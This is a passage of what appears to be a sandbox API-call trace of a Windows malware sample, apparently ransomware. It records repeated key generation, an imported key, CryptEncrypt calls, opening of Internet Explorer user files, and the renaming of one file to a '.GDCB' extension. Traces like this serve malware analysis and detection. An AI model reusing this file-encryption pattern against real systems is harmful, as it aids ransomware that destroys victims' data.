(hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.928] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0177.931] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3690d88) returned 1 [0177.931] CryptGetKeyParam (in: hKey=0x3690d88, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0177.931] CryptEncrypt (in: hKey=0x3690d88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x53a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x53a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0177.931] GetLastError () returned 0x0 [0177.931] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.931] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0177.933] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x36908c8) returned 1 [0177.933] CryptGetKeyParam (in: hKey=0x36908c8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0177.933] CryptEncrypt (in: hKey=0x36908c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x53b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x53b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0177.934] GetLastError () returned 0x0 [0177.934] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.934] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ie4uinit-userconfig.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0177.936] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x53c0000 [0177.938] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x53d0000 [0177.939] ReadFile (in: hFile=0x510, lpBuffer=0x53d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x53d0000*, lpNumberOfBytesRead=0x285d670*=0x514, lpOverlapped=0x0) returned 1 [0177.944] VirtualAlloc (lpAddress=0x0, dwSize=0x520, flAllocationType=0x3000, flProtect=0x4) returned 0x54e0000 [0177.948] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ie4uinit-userconfig.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ie4uinit-userconfig.log.gdcb")) returned 0 [0177.953] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0177.954] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.955] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.955] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0177.955] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0177.955] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0177.957] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.957] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.957] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0177.957] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.958] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0177.960] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690608) returned 1 [0177.960] CryptGetKeyParam (in: hKey=0x3690608, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.960] CryptEncrypt (in: hKey=0x3690608, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x53a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x53a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0177.960] GetLastError () returned 0x0 [0177.960] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0177.960] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0177.962] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690688) returned 1 [0177.962] CryptGetKeyParam (in: hKey=0x3690688, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.962] CryptEncrypt (in: hKey=0x3690688, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x53b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x53b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0177.962] GetLastError () returned 0x0 [0177.962] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0177.962] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\IECompatData\\iecompatdata.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\iecompatdata\\iecompatdata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0177.970] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0177.972] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.972] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.972] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0177.972] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.972] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0177.973] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.974] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.974] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0177.974] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.974] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0177.976] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3690748) returned 1 [0177.976] CryptGetKeyParam (in: hKey=0x3690748, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0177.976] CryptEncrypt (in: hKey=0x3690748, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x53c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x53c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0177.976] GetLastError () returned 0x0 [0177.976] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.977] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0177.979] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3690888) returned 1 [0177.979] CryptGetKeyParam (in: hKey=0x3690888, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0177.979] CryptEncrypt (in: hKey=0x3690888, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x53d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x53d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0177.979] GetLastError () returned 0x0 [0177.979] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.979] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\imagestore\\sl72e5n\\imagestore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\imagestore\\sl72e5n\\imagestore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0178.027] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0178.028] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.029] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.029] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0178.029] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.029] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0178.030] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.031] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.031] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0178.031] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.031] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0178.033] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3690fc8) returned 1 [0178.033] CryptGetKeyParam (in: hKey=0x3690fc8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0178.033] CryptEncrypt (in: hKey=0x3690fc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x53e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x53e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0178.033] GetLastError () returned 0x0 [0178.033] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0178.033] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0178.035] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x36914c8) returned 1 [0178.035] CryptGetKeyParam (in: hKey=0x36914c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0178.035] CryptEncrypt (in: hKey=0x36914c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x53f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x53f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0178.035] GetLastError () returned 0x0 [0178.035] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0178.035] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{63E26EB7-6816-11E7-9BD2-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{63e26eb7-6816-11e7-9bd2-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0178.035] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0178.036] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.037] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.037] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0178.037] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.037] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0178.038] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.039] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.039] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0178.039] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.039] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0178.040] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3691148) returned 1 [0178.040] CryptGetKeyParam (in: hKey=0x3691148, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0178.040] CryptEncrypt (in: hKey=0x3691148, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5400000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5400000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0178.041] GetLastError () returned 0x0 [0178.041] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0178.041] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0178.042] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3691488) returned 1 [0178.042] CryptGetKeyParam (in: hKey=0x3691488, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0178.043] CryptEncrypt (in: hKey=0x3691488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5410000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5410000*, pdwDataLen=0x285d120*=0x100) returned 1 [0178.043] GetLastError () returned 0x0 [0178.043] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.043] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{DAB3814F-C5D5-11E7-9BDA-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{dab3814f-c5d5-11e7-9bda-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0178.048] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0178.049] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.050] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.050] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0178.050] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.050] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0178.051] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.052] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.052] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0178.052] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.052] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0178.054] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3691388) returned 1 [0178.054] CryptGetKeyParam (in: hKey=0x3691388, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0178.054] CryptEncrypt (in: hKey=0x3691388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5420000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5420000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0178.054] GetLastError () returned 0x0 [0178.054] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.054] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0178.056] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3690dc8) returned 1 [0178.056] CryptGetKeyParam (in: hKey=0x3690dc8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0178.056] CryptEncrypt (in: hKey=0x3690dc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5430000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5430000*, pdwDataLen=0x285d120*=0x100) returned 1 [0178.056] GetLastError () returned 0x0 [0178.056] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0178.056] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Tiles\\pin-314712940\\msapplication.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\tiles\\pin-314712940\\msapplication.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0178.065] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0178.066] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.067] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.067] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.067] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.067] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0178.068] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.068] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.068] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.068] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.069] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0178.071] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x36907c8) returned 1 [0178.071] CryptGetKeyParam (in: hKey=0x36907c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.071] CryptEncrypt (in: hKey=0x36907c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5440000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5440000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0178.071] GetLastError () returned 0x0 [0178.071] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0178.071] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0178.073] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690ec8) returned 1 [0178.073] CryptGetKeyParam (in: hKey=0x3690ec8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.073] CryptEncrypt (in: hKey=0x3690ec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5450000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5450000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.073] GetLastError () returned 0x0 [0178.073] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.073] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\VersionManager\\versionlist.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\versionmanager\\versionlist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0178.095] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0178.097] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.097] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.097] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.097] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0178.097] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, 